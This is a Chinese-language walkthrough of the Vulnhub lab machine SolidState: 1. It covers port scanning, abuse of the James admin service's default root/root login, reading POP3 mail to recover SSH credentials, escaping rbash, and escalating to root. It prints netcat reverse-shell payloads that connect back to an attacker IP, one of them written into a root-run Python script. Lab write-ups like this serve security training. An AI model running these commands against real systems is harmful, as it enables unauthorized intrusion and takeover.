靶机渗透测试(SolidState: 1)

靶机渗透测试(SolidState: 1):

Vulnhub靶机 SolidState: 1
靶机:修改靶机的网络配置为桥接模式。
攻击机:Kali虚拟机,同样使用桥接模式,即可访问靶机。
靶机难度:(====)
描述:It was originally created for HackTheBox
flag进度:2/2



渗透流程:

1. 探测靶机ip地址(netdiscover -i eth0 -r 网关)

命令:netdiscover -i eth0 -r 192.168.10.0

靶机ip为: 192.168.10.140
在这里插入图片描述



2. nmap进行靶机端口服务扫描

命令: nmap -sS -Pn -A -p- -n 192.168.10.140

靶机开放22/ssh、 25/smtp、80/http、 110/pop3、119/nntp、4555/james-admin等端口服务

在这里插入图片描述



3. 根据端口服务进行信息收集(80/http端口)

我们访问80页面进行信息收集:查看源代码,御剑,dirb扫描均没有收集到任何有价值的信息,故80页面无果!!!

在这里插入图片描述
在这里插入图片描述



4. 端口服务信息收集(4555/james-admin端口)

开放的4555端口存在远程命令执行漏洞
使用nc命令进行远程连接:

nc 192.168.10.140 4555
输入id=root、password=root

nc的作用:
(1)实现任意TCP/UDP端口的侦听
(2)端口的扫描,nc可以作为client发起TCP或UDP连接
(3)机器之间传输文件
(4)机器之间网络测速

键入help命令查看,发现可以执行listusers(列出用户名),setpassword(重置密码)等操作;
Remote Admin Service(远程管理服务)

在这里插入图片描述
使用listusers命令,发现存在5位用户:

在这里插入图片描述
我们使用setpassword命令将5位用户密码均重置为111;
setpassword 【用户名】 【密码】

在这里插入图片描述
然后使用其他命令进行信息收集,并未从4555端口处发现其他有价值的信息!!!



5. 端口服务信息收集(110/pop3端口)

POP3服务器是遵循POP3协议的接受邮件服务器,用于接收电子邮件
我们使用telnet命令进行远程登陆:

命令:telnet 192.168.10.140 110
Telet是Iteret的远程登录协议,可以通过它远程登录来控制别的计算机

在这里插入图片描述

输入:
user [用户名]
pass [密码]
list(输出文件列)

使用retr命令下载文件
RETR和STOR命令是FTP协议中的下载和上传命令, 可以针对文件和目录
浅谈FTP协议与应用

在这里插入图片描述
在使用retr 2命令后,我们可以看到mindy用户的账号密码!(猜测用于ssh登陆

mindy // P@55W0rd1!2@

在这里插入图片描述
依次登陆5位用户,查看用户目录下的信息,使用retr命令下载文件,并在数据窗口中可以看到指定下载文件的内容.

在110/pop3端口,我们只发现了mindy用户的ssh登陆账号密码,在其他用户下也并没有任何有价值的发现!!!



6. 端口服务信息收集(22/ssh端口)

我们使用mindy用户的账号密码,进行ssh远程连接,但当我们whoami时发现为rbash(受限制的shell),ls发现存在user.txt,cat查看发现一项flag!!!

在这里插入图片描述
双击Tab键,终端会输出当前用户可以执行的命令:

在这里插入图片描述
cat etc/passwd可以看到mindy用户可以利用/bin/rbash/进行反向shell提权;

在这里插入图片描述
rbash(受限的shell),有很多基础的命令都执行不了,我们可以通过下面两种方式进行绕过:

一. exp利用
使用searchsploit搜寻版本漏洞,cp脚本文件下载到kali中:

在这里插入图片描述

我们vi打开py脚本文件,设置payload:

nc -e /bin/sh 192.168.10.9 1234
payload为本地kali的IP地址和nc监听的端口

在这里插入图片描述
执行脚本文件:

命令:
python 35513.py [ip]

在这里插入图片描述
再次使用ssh远程登录,,可以看到脚本文件开始编译执行,我们在kali终端设置nc监听:

在这里插入图片描述

可以看到成功监听,id查看为mindy用户权限;

在这里插入图片描述

二. 一句话绕过
使用一句话命令即可成功绕过:

ssh mindy@192.168.10.140 “export TERM=xterm; python -c 'import pty; pty.spawn(”/bin/sh")’"

在这里插入图片描述




7. 提权操作:

反弹shell成功

根据前面的邮件提示信息,获得ssh的登录凭证是从James那里获取的,所以查看对应用户的进程运行情况:

命令:ps aux | grep james

显示了opt作为根进程,cd进入opt文件夹:

在这里插入图片描述

存在一个Python程序tmp.py程序可以利用,,属于root权限,那么我们将它更改程序执行命令的提权代码:

命令: echo ‘import os; os.system("/bin/nc 192.168.10.9 666 -e /bin/bash")’ > /opt/tmp.py

在这里插入图片描述

反弹shell成功,拿到root权限!!!
实验结束!

在这里插入图片描述



实验总结:

在本次实验中,靶机开放了许多新颖的端口服务,通过端口服务进行信息收集,在4555端口存在远程代码执行,我们在4555端口得到用户名,并重置了用户密码;在pop3服务中,查看到邮件信息,得到下一步ssh的登陆账号密码;

以及在ssh登陆成功后,受限制的rbash绕过是本次实验的特点,我们可以使用一句话绕过,也可以exp绕过;

提权部分为向可执行.py文件中添加可提权的代码,编译执行,成功提权root权限!!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值